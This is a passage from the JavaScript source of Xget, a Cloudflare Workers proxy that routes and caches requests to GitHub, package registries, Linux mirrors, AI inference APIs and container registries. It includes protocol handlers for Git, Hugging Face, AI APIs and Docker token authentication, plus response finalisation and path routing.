console.log(config.SECURITY.ALLOWED_ORIGINS); * // ['https://example.com', 'https://app.example.com'] */ export function createConfig(env = {}) { const allowedMethods = typeof env.ALLOWED_METHODS === 'string' ? env.ALLOWED_METHODS.split(',') .map(method => method.trim()) .filter(Boolean) : ['GET', 'HEAD']; const allowedOrigins = typeof env.ALLOWED_ORIGINS === 'string' ? env.ALLOWED_ORIGINS.split(',') .map(origin => origin.trim()) .filter(Boolean) : ['*']; return { TIMEOUT_SECONDS: parseInt(String(env.TIMEOUT_SECONDS), 10) || 30, MAX_RETRIES: parseInt(String(env.MAX_RETRIES), 10) || 3, RETRY_DELAY_MS: parseInt(String(env.RETRY_DELAY_MS), 10) || 1000, CACHE_DURATION: parseInt(String(env.CACHE_DURATION), 10) || 1800, // 30 minutes SECURITY: { ALLOWED_METHODS: allowedMethods.length ? allowedMethods : ['GET', 'HEAD'], ALLOWED_ORIGINS: allowedOrigins.length ? allowedOrigins : ['*'], MAX_PATH_LENGTH: parseInt(String(env.MAX_PATH_LENGTH), 10) || 2048 }, PLATFORMS }; } /** * Default application configuration instance. * * This is a pre-instantiated configuration object using default values with no * environment overrides. In production (Cloudflare Workers), you should use * `createConfig(env)` instead to allow runtime configuration. * @type {ApplicationConfig} * @example * // Import default config * import { CONFIG } from './config/index.js'; * console.log(CONFIG.TIMEOUT_SECONDS); // 30 * @example * // Check platform availability * if (CONFIG.PLATFORMS.npm) { * console.log('npm platform available'); * } */ export const CONFIG = createConfig(); ================================================ FILE: src/config/platform-catalog.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Platform base URLs used by request routing. * @type {{ [key: string]: string }} */ export const PLATFORM_CATALOG = { // Code Repositories & Version Control gh: 'https://github.com', gist: 'https://gist.github.com', gl: 'https://gitlab.com', gitea: 'https://gitea.com', codeberg: 'https://codeberg.org', sf: 'https://sourceforge.net', aosp: 'https://android.googlesource.com', hf: 'https://huggingface.co', civitai: 'https://civitai.com', // Package Managers npm: 'https://registry.npmjs.org', pypi: 'https://pypi.org', 'pypi-files': 'https://files.pythonhosted.org', conda: 'https://repo.anaconda.com', 'conda-community': 'https://conda.anaconda.org', maven: 'https://repo1.maven.org', apache: 'https://downloads.apache.org', gradle: 'https://plugins.gradle.org', homebrew: 'https://github.com/Homebrew', 'homebrew-api': 'https://formulae.brew.sh/api', 'homebrew-bottles': 'https://ghcr.io', rubygems: 'https://rubygems.org', cran: 'https://cran.r-project.org', cpan: 'https://www.cpan.org', ctan: 'https://tug.ctan.org', golang: 'https://proxy.golang.org', nuget: 'https://api.nuget.org', crates: 'https://crates.io', packagist: 'https://repo.packagist.org', flathub: 'https://dl.flathub.org', // Linux Distributions debian: 'https://deb.debian.org', ubuntu: 'https://archive.ubuntu.com', fedora: 'https://dl.fedoraproject.org', rocky: 'https://download.rockylinux.org', opensuse: 'https://download.opensuse.org', arch: 'https://geo.mirror.pkgbuild.com', // Other Resources arxiv: 'https://arxiv.org', fdroid: 'https://f-droid.org', jenkins: 'https://updates.jenkins.io', // AI Inference Providers 'ip-openai': 'https://api.openai.com', 'ip-anthropic': 'https://api.anthropic.com', 'ip-gemini': 'https://generativelanguage.googleapis.com', 'ip-vertexai': 'https://aiplatform.googleapis.com', 'ip-cohere': 'https://api.cohere.ai', 'ip-mistralai': 'https://api.mistral.ai', 'ip-xai': 'https://api.x.ai', 'ip-githubmodels': 'https://models.github.ai', 'ip-nvidiaapi': 'https://integrate.api.nvidia.com', 'ip-perplexity': 'https://api.perplexity.ai', 'ip-braintrust': 'https://api.braintrust.dev', 'ip-groq': 'https://api.groq.com', 'ip-cerebras': 'https://api.cerebras.ai', 'ip-sambanova': 'https://api.sambanova.ai', 'ip-siray': 'https://api.siray.ai', 'ip-huggingface': 'https://router.huggingface.co', 'ip-together': 'https://api.together.xyz', 'ip-replicate': 'https://api.replicate.com', 'ip-fireworks': 'https://api.fireworks.ai', 'ip-nebius': 'https://api.studio.nebius.ai', 'ip-jina': 'https://api.jina.ai', 'ip-voyageai': 'https://api.voyageai.com', 'ip-falai': 'https://fal.run', 'ip-novita': 'https://api.novita.ai', 'ip-burncloud': 'https://ai.burncloud.com', 'ip-openrouter': 'https://openrouter.ai', 'ip-poe': 'https://api.poe.com', 'ip-featherlessai': 'https://api.featherless.ai', 'ip-hyperbolic': 'https://api.hyperbolic.xyz', // Container Registries 'cr-docker': 'https://registry-1.docker.io', 'cr-quay': 'https://quay.io', 'cr-gcr': 'https://gcr.io', 'cr-mcr': 'https://mcr.microsoft.com', 'cr-ecr': 'https://public.ecr.aws', 'cr-ghcr': 'https://ghcr.io', 'cr-gitlab': 'https://registry.gitlab.com', 'cr-redhat': 'https://registry.redhat.io', 'cr-oracle': 'https://container-registry.oracle.com', 'cr-cloudsmith': 'https://docker.cloudsmith.io', 'cr-digitalocean': 'https://registry.digitalocean.com', 'cr-vmware': 'https://projects.registry.vmware.com', 'cr-k8s': 'https://registry.k8s.io', 'cr-heroku': 'https://registry.heroku.com', 'cr-suse': 'https://registry.suse.com', 'cr-opensuse': 'https://registry.opensuse.org', 'cr-gitpod': 'https://registry.gitpod.io' }; export const PLATFORMS = PLATFORM_CATALOG; ================================================ FILE: src/config/platforms.js ================================================ /** * Compatibility exports for platform configuration and routing helpers. * * New code should prefer: * - `src/config/platform-catalog.js` for base URL data * - `src/routing/platform-index.js` for matching order * - `src/routing/platform-transformers.js` for path normalization */ export { PLATFORM_CATALOG, PLATFORMS } from './platform-catalog.js'; export { SORTED_PLATFORMS } from '../routing/platform-index.js'; export { transformPath } from '../routing/platform-transformers.js'; ================================================ FILE: src/index.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. */ import { handleRequest } from './app/handle-request.js'; export { handleRequest } from './app/handle-request.js'; export default { /** * Main Worker entry point. * @param {Request} request * @param {Record} env * @param {ExecutionContext} ctx */ fetch(request, env, ctx) { return handleRequest(request, env, ctx); } }; ================================================ FILE: src/protocols/ai.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * AI Inference protocol handler for Xget */ /** * Detects if a request is for an AI inference provider API. * * Identifies AI inference requests by checking for: * - AI provider path prefix (/ip/{provider}/...) * - Common AI API endpoints (chat, completions, embeddings, etc.) * - AI-specific URL patterns with JSON POST requests * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @returns {boolean} True if this is an AI inference request */ export function isAIInferenceRequest(request, url) { void request; return url.pathname.startsWith('/ip/'); } /** * Configures headers for AI protocol requests. * * Sets Content-Type and User-Agent headers for AI inference requests. * @param {Headers} headers - The headers object to modify * @param {Request} request - The original request */ export function configureAIHeaders(headers, request) { if (request.method === 'POST' && !headers.has('Content-Type')) { headers.set('Content-Type', 'application/json'); } if (!headers.has('User-Agent')) { headers.set('User-Agent', 'Xget-AI-Proxy/1.0'); } } ================================================ FILE: src/protocols/docker.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Docker/OCI Registry protocol handler for Xget */ import { SORTED_PLATFORMS } from '../routing/platform-index.js'; import { createErrorResponse } from '../utils/security.js'; /** * Parses Docker/OCI registry WWW-Authenticate header. * * Extracts authentication realm and service information from the Bearer * authentication challenge header returned by container registries. * @param {string} authenticateStr - The WWW-Authenticate header value * @returns {{realm: string, service: string}} Parsed authentication info with realm URL and service name * @throws {Error} If the header format is invalid or missing required fields */ export function parseAuthenticate(authenticateStr) { // sample: Bearer realm="https://auth.ipv6.docker.com/token",service="registry.docker.io" const realmMatch = authenticateStr.match(/realm="([^"]+)"/); const serviceMatch = authenticateStr.match(/service="([^"]+)"/); if (!realmMatch || !serviceMatch) { throw new Error(`invalid WWW-Authenticate header: ${authenticateStr}`); } return { realm: realmMatch[1], service: serviceMatch[1] }; } /** * Fetches authentication token from container registry token service. * * Requests a Bearer token from the registry's authentication service, * optionally including scope (repository permissions) and authorization credentials. * @param {{realm: string, service: string}} wwwAuthenticate - Authentication info from WWW-Authenticate header * @param {string} scope - The scope for the token (e.g., "repository:library/nginx:pull") * @param {string} authorization - Authorization header value (optional, for authenticated access) * @returns {Promise} Token response containing JWT token */ export async function fetchToken(wwwAuthenticate, scope, authorization) { const url = new URL(wwwAuthenticate.realm); if (wwwAuthenticate.service.length) { url.searchParams.set('service', wwwAuthenticate.service); } if (scope) { url.searchParams.set('scope', scope); } const headers = new Headers(); if (authorization) { headers.set('Authorization', authorization); } return await fetch(url, { method: 'GET', headers }); } /** * Reads a bearer token from an upstream registry token response. * * Registry token services commonly return either `token` or `access_token`. * Some registries also respond with an empty or malformed body on transient * failures, so this parser fails closed and lets the caller fall back to the * standard 401 challenge flow. * @param {Response} response * @returns {Promise} Resolved bearer token, or null when unavailable. */ export async function readRegistryTokenResponse(response) { const rawBody = await response.text().catch(() => ''); if (!rawBody.trim()) { return null; } try { const parsed = JSON.parse(rawBody); if (!parsed || typeof parsed !== 'object') { return null; } const tokenValue = 'token' in parsed && typeof parsed.token === 'string' ? parsed.token : 'access_token' in parsed && typeof parsed.access_token === 'string' ? parsed.access_token : null; return tokenValue; } catch { return null; } } /** * Parses the request URL to determine the appropriate Docker registry scope. * * Analyzes the path to extract the repository name and constructs a standard * Docker scope string (repository:name:pull). Handles platform-specific * path conventions and defaults. * @param {URL} url - The request URL * @param {string} effectivePath - The effective path after stripping prefixes * @param {string} platform - The platform identifier (e.g., 'cr-docker') * @returns {string} One of: * - "repository:name:pull" for repository access * - "registry:catalog:*" for catalog access * - "" (empty string) if scope cannot be determined */ export function getScopeFromUrl(url, effectivePath, platform) { void url; const platformPrefix = `/${platform.replace(/-/g, '/')}/`; // Check for catalog endpoint if (effectivePath.includes('/_catalog')) { return 'registry:catalog:*'; } const apiPath = normalizeRegistryApiPath( platform, effectivePath.startsWith(platformPrefix) ? `/${effectivePath.slice(platformPrefix.length)}` : effectivePath ); const repoName = extractRepositoryPath(apiPath); if (repoName) { return `repository:${repoName}:pull`; } return ''; } /** * Normalizes Docker Hub official images to the canonical library namespace. * @param {string} platformKey * @param {string} repoPath * @returns {string} Normalized upstream repository path. */ function normalizeRepoPath(platformKey, repoPath) { if (platformKey === 'cr-docker' && repoPath && !repoPath.includes('/')) { return `library/${repoPath}`; } return repoPath; } /** * Extracts the repository path from a Docker registry API path. * @param {string} apiPath * @returns {string} Repository path without the `/v2/` prefix or operation suffix. */ function extractRepositoryPath(apiPath) { const normalizedPath = apiPath.startsWith('/v2/') ? apiPath.slice(4) : apiPath.replace(/^\/+/, ''); const pathParts = normalizedPath.split('/').filter(Boolean); if (pathParts.length === 0 || pathParts[0].startsWith('_')) { return ''; } const suffixIndex = pathParts.findIndex(part => ['manifests', 'blobs', 'tags', 'referrers'].includes(part) ); if (suffixIndex <= 0) { return ''; } return pathParts.slice(0, suffixIndex).join('/'); } /** * Normalizes a Docker registry API path for upstream compatibility. * @param {string} platformKey * @param {string} apiPath * @returns {string} Upstream API path with any registry-specific normalization applied. */ export function normalizeRegistryApiPath(platformKey, apiPath) { if (platformKey !== 'cr-docker' || !apiPath.startsWith('/v2/')) { return apiPath; } const repoPath = extractRepositoryPath(apiPath); const normalizedRepoPath = normalizeRepoPath(platformKey, repoPath); if (!repoPath || normalizedRepoPath === repoPath) { return apiPath; } return apiPath.replace(`/v2/${repoPath}`, `/v2/${normalizedRepoPath}`); } /** * Resolves the target registry and scope for Docker auth proxy requests. * @param {URL} url * @param {{ [key: string]: string }} platforms * @returns {{ platformKey: string, upstreamScope: string }} Resolved auth target info. */ function resolveDockerAuthTarget(url, platforms) { const scope = url.searchParams.get('scope') || ''; const pathMatch = url.pathname.match(/^\/cr\/([^/]+)\/v2\/auth\/?$/); let platformKey = pathMatch ? `cr-${pathMatch[1]}` : ''; let repoPath = ''; let upstreamScope = scope; if (scope) { const parts = scope.split(':'); if (parts.length >= 3 && parts[0] === 'repository') { const [, fullRepoPath] = parts; if (fullRepoPath.startsWith('cr/')) { for (const key of SORTED_PLATFORMS) { if (!key.startsWith('cr-')) continue; const prefix = key.replace(/-/g, '/'); if (fullRepoPath.startsWith(`${prefix}/`)) { platformKey = key; repoPath = fullRepoPath.slice(prefix.length + 1); break; } } } else { repoPath = fullRepoPath; } repoPath = normalizeRepoPath(platformKey, repoPath); upstreamScope = repoPath ? `repository:${repoPath}:${parts.slice(2).join(':')}` : scope; } } if (!platformKey || !platforms[platformKey]) { throw new Error('Unsupported registry platform in scope'); } return { platformKey, upstreamScope }; } /** * Creates an unauthorized (401) response for container registry authentication. * * Generates a Docker/OCI registry-compliant 401 response with a WWW-Authenticate * header that directs clients to the token authentication endpoint. * @param {URL} url - Request URL used to construct authentication realm * @param {string} platform - Registry platform key (e.g. cr-ghcr) * @returns {Response} Unauthorized response with WWW-Authenticate header */ export function responseUnauthorized(url, platform) { const realmPath = platform ? `/cr/${platform.slice(3)}/v2/auth` : '/v2/auth'; const headers = new Headers(); headers.set('Content-Type', 'application/json'); headers.set('WWW-Authenticate', `Bearer realm="${url.origin}${realmPath}",service="Xget"`); return new Response( JSON.stringify({ errors: [ { code: 'UNAUTHORIZED', message: 'authentication required', detail: null } ] }), { status: 401, headers } ); } /** * Handles the special /v2/auth endpoint for Docker authentication. * * Proxies generation of auth tokens by negotiating with the upstream registry. * @param {Request} request - The incoming request * @param {URL} url - The parsed URL * @param {import('../config/index.js').ApplicationConfig} config - App configuration * @returns {Promise} The response (token or error) */ export async function handleDockerAuth(request, url, config) { let target; try { target = resolveDockerAuthTarget(url, config.PLATFORMS); } catch (error) { // Log internal error details server-side without exposing them to the client console.error('Failed to resolve Docker auth target:', error); // Return a generic error response to avoid leaking implementation details return createErrorResponse('Invalid Docker authentication request', 400); } const upstreamUrl = config.PLATFORMS[target.platformKey]; const authorization = request.headers.get('Authorization'); // 1. Fetch the upstream root (v2) to get the proper realm and service // We use the upstream URL + /v2/ const v2Url = new URL(`${upstreamUrl}/v2/`); const v2Resp = await fetch(v2Url.toString(), { method: 'GET', redirect: 'follow' }); if (v2Resp.status !== 401) { // If not 401, maybe no auth needed? Or error. // Just forward the response? return v2Resp; } const authenticateStr = v2Resp.headers.get('WWW-Authenticate'); if (authenticateStr === null) { return v2Resp; } const wwwAuthenticate = parseAuthenticate(authenticateStr); // 3. Fetch the token from the upstream realm return await fetchToken(wwwAuthenticate, target.upstreamScope, authorization || ''); } ================================================ FILE: src/protocols/git.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Git protocol handler for Xget */ /** * Detects if a request is a Git protocol operation. * * Identifies Git requests by checking for: * - Git-specific endpoints (/info/refs, /git-upload-pack, /git-receive-pack) * - Git User-Agent headers * - Git service query parameters * - Git-specific Content-Type headers * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @returns {boolean} True if this is a Git operation */ export function isGitRequest(request, url) { // Check for Git-specific endpoints if (url.pathname.endsWith('/info/refs')) { return true; } if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) { return true; } // Check for Git user agents (more comprehensive check) const userAgent = request.headers.get('User-Agent') || ''; if (userAgent.includes('git/') || userAgent.startsWith('git/')) { return true; } // Check for Git-specific query parameters if (url.searchParams.has('service')) { const service = url.searchParams.get('service'); return service === 'git-upload-pack' || service === 'git-receive-pack'; } // Check for Git-specific content types const contentType = request.headers.get('Content-Type') || ''; if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) { return true; } return false; } /** * Detects if a request is a Git LFS (Large File Storage) operation. * * Identifies Git LFS requests by checking for: * - LFS-specific endpoints (/info/lfs, /objects/batch) * - LFS object storage paths (SHA-256 hash patterns) * - Git LFS Accept/Content-Type headers * - Git LFS User-Agent * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @returns {boolean} True if this is a Git LFS operation */ export function isGitLFSRequest(request, url) { // Check for LFS-specific endpoints if (url.pathname.includes('/info/lfs')) { return true; } if (url.pathname.includes('/objects/batch')) { return true; } // Check for LFS object storage endpoints (SHA-256 hash is 64 hex characters) if (url.pathname.match(/\/objects\/[a-fA-F0-9]{64}$/)) { return true; } // Check for LFS-specific headers const accept = request.headers.get('Accept') || ''; const contentType = request.headers.get('Content-Type') || ''; if ( accept.includes('application/vnd.git-lfs') || contentType.includes('application/vnd.git-lfs') ) { return true; } // Check for LFS user agent const userAgent = request.headers.get('User-Agent') || ''; if (userAgent.includes('git-lfs')) { return true; } return false; } /** * Configures headers for Git protocol requests. * * Sets User-Agent and Content-Type headers required by Git and Git LFS protocols. * @param {Headers} headers - The headers object to modify * @param {Request} request - The original request * @param {URL} url - The parsed URL * @param {boolean} isLFS - Whether this is an LFS request */ export function configureGitHeaders(headers, request, url, isLFS) { if (!isLFS) { // Standard Git protocol if (!headers.has('User-Agent')) { headers.set('User-Agent', 'git/2.34.1'); } if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) { if (!headers.has('Content-Type')) { headers.set('Content-Type', 'application/x-git-upload-pack-request'); } } if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) { if (!headers.has('Content-Type')) { headers.set('Content-Type', 'application/x-git-receive-pack-request'); } } } else { // Git LFS protocol if (!headers.has('User-Agent')) { headers.set('User-Agent', 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)'); } if (url.pathname.includes('/objects/batch')) { if (!headers.has('Accept')) { headers.set('Accept', 'application/vnd.git-lfs+json'); } if (request.method === 'POST' && !headers.has('Content-Type')) { headers.set('Content-Type', 'application/vnd.git-lfs+json'); } } if (url.pathname.match(/\/objects\/[a-fA-F0-9]{64}$/)) { if (!headers.has('Accept')) { headers.set('Accept', 'application/octet-stream'); } } } } ================================================ FILE: src/protocols/huggingface.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Hugging Face protocol handler for Xget */ /** * Detects if a request is a Hugging Face API operation. * * Identifies Hugging Face API requests by checking for: * - Hugging Face platform prefix (/hf/) * - API path segment (/api/) * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @returns {boolean} True if this is a Hugging Face API operation */ export function isHuggingFaceAPIRequest(request, url) { // Check for Hugging Face API endpoints if (url.pathname.startsWith('/hf/api/')) { return true; } // Also check for token endpoint which is often used if (url.pathname.startsWith('/hf/token')) { return true; } return false; } /** * Configures headers for Hugging Face API requests. * @param {Headers} headers - The headers object to modify * @param {Request} request - The original request */ export function configureHuggingFaceHeaders(headers, request) { const authHeader = request.headers.get('Authorization'); if (authHeader) { headers.set('Authorization', authHeader); } if (request.method === 'POST' && !headers.has('Content-Type')) { headers.set('Content-Type', 'application/json'); } } ================================================ FILE: src/response/finalize-response.js ================================================ import { isFlatpakReferenceFilePath, rewriteTextResponse, shouldRewriteTextResponse } from '../utils/rewrite.js'; import { addSecurityHeaders, createErrorResponse } from '../utils/security.js'; /** * Wraps an unsuccessful upstream response into the user-facing error contract. * @param {{ * effectivePath: string, * platform: string, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }, * response: Response, * responseGeneratedLocally: boolean, * url: URL * }} options * @returns {Promise} Final error response. */ async function finalizeErrorResponse({ requestContext, response, responseGeneratedLocally }) { if (responseGeneratedLocally || response.ok || response.status === 206) { return response; } if (requestContext.isDocker && response.status === 401) { if (!response.headers.has('WWW-Authenticate')) { const isCustomError = response.headers.get('content-type') === 'application/json' && (await response.clone().text()).includes('UNAUTHORIZED'); if (!isCustomError) { const errorText = await response.text().catch(() => ''); return createErrorResponse( `Authentication required for this container registry resource. This may be a private repository. Original error: ${errorText}`, 401, true ); } } return response; } const errorText = await response.text().catch(() => 'Unknown error'); return createErrorResponse( `Upstream server error (${response.status}): ${errorText}`, response.status, true ); } /** * Finalizes a successful upstream response, including rewriting, cache headers, and background cache writes. * @param {{ * cache: Cache | null, * cacheTargetUrl: string, * canUseCache: boolean, * config: import('../config/index.js').ApplicationConfig, * ctx: ExecutionContext, * effectivePath: string, * hasSensitiveHeaders: boolean, * monitor: import('../utils/performance.js').PerformanceMonitor, * platform: string, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }, * response: Response, * url: URL * }} options * @returns {Promise} Final proxied response. */ async function finalizeSuccessfulResponse({ cache, cacheTargetUrl, canUseCache, config, ctx, effectivePath, hasSensitiveHeaders, monitor, platform, request, requestContext, response, url }) { const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext; /** @type {string | ReadableStream | null} */ let responseBody = response.body; let rewrittenContentLength = null; let hasOriginBoundRewrite = false; if ( shouldRewriteTextResponse(platform, effectivePath, response.headers.get('content-type') || '') ) { const originalText = platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath) ? new TextDecoder().decode(await response.arrayBuffer()) : await response.text(); const rewrittenText = rewriteTextResponse(platform, effectivePath, originalText, url.origin); responseBody = rewrittenText; rewrittenContentLength = new TextEncoder().encode(rewrittenText).byteLength; hasOriginBoundRewrite = platform === 'pypi'; } const headers = new Headers(response.headers); if (rewrittenContentLength !== null) { headers.set('Content-Length', String(rewrittenContentLength)); } if (!isGit && !isGitLFS && !isDocker && !isAI && !isHF) { if (!canUseCache || hasOriginBoundRewrite) { headers.set('Cache-Control', 'no-store'); } else if (hasSensitiveHeaders) { headers.set('Cache-Control', 'private, no-store'); const existingVary = headers.get('Vary'); headers.set( 'Vary', existingVary ? `${existingVary}, Authorization, Cookie` : 'Authorization, Cookie' ); } else { headers.set('Cache-Control', `public, max-age=${config.CACHE_DURATION}`); } headers.set('X-Content-Type-Options', 'nosniff'); headers.set('Accept-Ranges', 'bytes'); if (!headers.has('Content-Length') && response.status === 200) { try { const contentLength = response.headers.get('Content-Length'); if (contentLength) { headers.set('Content-Length', contentLength); } } catch (error) { console.warn('Could not set Content-Length header:', error); } } addSecurityHeaders(headers); } let finalizedResponse = new Response(responseBody, { status: response.status, headers }); if ( cache && !isGit && !isGitLFS && !isDocker && !isAI && !isHF && !hasOriginBoundRewrite && !hasSensitiveHeaders && request.method === 'GET' && finalizedResponse.ok && finalizedResponse.status === 200 ) { const rangeHeader = request.headers.get('Range'); const cacheKey = rangeHeader ? new Request(cacheTargetUrl, { method: 'GET', headers: new Headers( [...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range') ) }) : new Request(cacheTargetUrl, { method: 'GET' }); try { if (ctx && typeof ctx.waitUntil === 'function') { ctx.waitUntil(cache.put(cacheKey, finalizedResponse.clone())); } else { cache.put(cacheKey, finalizedResponse.clone()).catch(error => { console.warn('Cache put failed:', error); }); } if (rangeHeader && finalizedResponse.status === 200) { const rangedResponse = await cache.match( new Request(cacheTargetUrl, { method: 'GET', headers: request.headers }) ); if (rangedResponse) { monitor.mark('range_cache_hit_after_full_cache'); finalizedResponse = rangedResponse; } } } catch (cacheError) { console.warn('Cache put/match failed:', cacheError); } } return finalizedResponse; } /** * Finalizes the upstream response after cache lookup and fetch execution. * @param {{ * cache: Cache | null, * cacheTargetUrl: string, * canUseCache: boolean, * config: import('../config/index.js').ApplicationConfig, * ctx: ExecutionContext, * effectivePath: string, * hasSensitiveHeaders: boolean, * monitor: import('../utils/performance.js').PerformanceMonitor, * platform: string, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }, * response: Response, * responseGeneratedLocally: boolean, * url: URL * }} options * @returns {Promise} Final response returned to the client. */ export async function finalizeResponse({ cache, cacheTargetUrl, canUseCache, config, ctx, effectivePath, hasSensitiveHeaders, monitor, platform, request, requestContext, response, responseGeneratedLocally, url }) { const errorResponse = await finalizeErrorResponse({ effectivePath, platform, request, requestContext, response, responseGeneratedLocally, url }); if (errorResponse !== response || !errorResponse.ok) { return errorResponse; } return await finalizeSuccessfulResponse({ cache, cacheTargetUrl, canUseCache, config, ctx, effectivePath, hasSensitiveHeaders, monitor, platform, request, requestContext, response: errorResponse, url }); } ================================================ FILE: src/routing/platform-index.js ================================================ import { PLATFORM_CATALOG } from '../config/platform-catalog.js'; /** * Converts a platform key into its matching URL prefix. * @param {string} platformKey * @returns {string} Platform prefix, for example `/ip/openai/`. */ export function getPlatformPathPrefix(platformKey) { return `/${platformKey.replace(/-/g, '/')}/`; } /** * Pre-computed sorted platform keys for efficient path matching. */ export const SORTED_PLATFORMS = Object.keys(PLATFORM_CATALOG).sort((a, b) => { return getPlatformPathPrefix(b).length - getPlatformPathPrefix(a).length; }); ================================================ FILE: src/routing/platform-transformers.js ================================================ import { PLATFORM_CATALOG } from '../config/platform-catalog.js'; import { getPlatformPathPrefix } from './platform-index.js'; /** * Escapes a string for safe use inside a regular expression. * @param {string} value * @returns {string} Escaped string. */ function escapeRegex(value) { return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } /** * Removes the platform prefix from a request path. * @param {string} path * @param {string} platformKey * @returns {string} Path without the leading platform segment. */ function stripPlatformPrefix(path, platformKey) { const prefix = getPlatformPathPrefix(platformKey); return path.replace(new RegExp(`^${escapeRegex(prefix)}`), '/'); } /** * Applies crates.io-specific API path normalization. * @param {string} transformedPath * @returns {string} Normalized crates.io API path. */ function transformCratesPath(transformedPath) { if (!transformedPath.startsWith('/')) { return transformedPath; } if (transformedPath === '/' || transformedPath.startsWith('/?')) { return transformedPath.replace('/', '/api/v1/crates'); } return `/api/v1/crates${transformedPath}`; } /** * Applies Jenkins update-center path normalization. * @param {string} transformedPath * @returns {string} Normalized Jenkins path. */ function transformJenkinsPath(transformedPath) { if (!transformedPath.startsWith('/')) { return transformedPath; } if (transformedPath === '/update-center.json') { return '/current/update-center.json'; } if (transformedPath === '/update-center.actual.json') { return '/current/update-center.actual.json'; } if ( transformedPath.startsWith('/experimental/') || transformedPath.startsWith('/download/') || transformedPath.startsWith('/current/') ) { return transformedPath; } return `/current${transformedPath}`; } /** @type {{ [key: string]: (transformedPath: string) => string }} */ const PLATFORM_PATH_TRANSFORMERS = { crates: transformCratesPath, jenkins: transformJenkinsPath }; /** * Converts a routed request path into the upstream path expected by the platform. * @param {string} path * @param {string} platformKey * @returns {string} Upstream-ready request path. */ export function transformPath(path, platformKey) { if (!PLATFORM_CATALOG[platformKey]) { return path; } const transformedPath = stripPlatformPrefix(path, platformKey); const transformPlatformPath = PLATFORM_PATH_TRANSFORMERS[platformKey]; return transformPlatformPath ? transformPlatformPath(transformedPath) : transformedPath; } ================================================ FILE: src/routing/resolve-target.js ================================================ import { SORTED_PLATFORMS } from './platform-index.js'; import { transformPath } from './platform-transformers.js'; import { normalizeRegistryApiPath } from '../protocols/docker.js'; import { isFlatpakReferenceFilePath } from '../utils/rewrite.js'; import { createErrorResponse } from '../utils/security.js'; export const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget'; /** * Creates the canonical homepage redirect response. * @returns {Response} Redirect response to the Xget homepage. */ export function createHomepageRedirect() { return Response.redirect(HOME_PAGE_URL, 302); } /** * Normalizes request paths before platform routing. * @param {URL} url * @param {boolean} isDocker * @returns {{ effectivePath: string } | { response: Response }} Normalized path or an early error response. */ export function normalizeEffectivePath(url, isDocker) { let effectivePath = url.pathname; if (!isDocker) { return { effectivePath }; } if ( !url.pathname.startsWith('/cr/') && !url.pathname.startsWith('/v2/cr/') && url.pathname !== '/v2/auth' ) { return { response: createErrorResponse('container registry requests must use /cr/ prefix', 400) }; } effectivePath = url.pathname.replace(/^\/v2/, ''); if (url.pathname.startsWith('/v2/cr/')) { effectivePath = 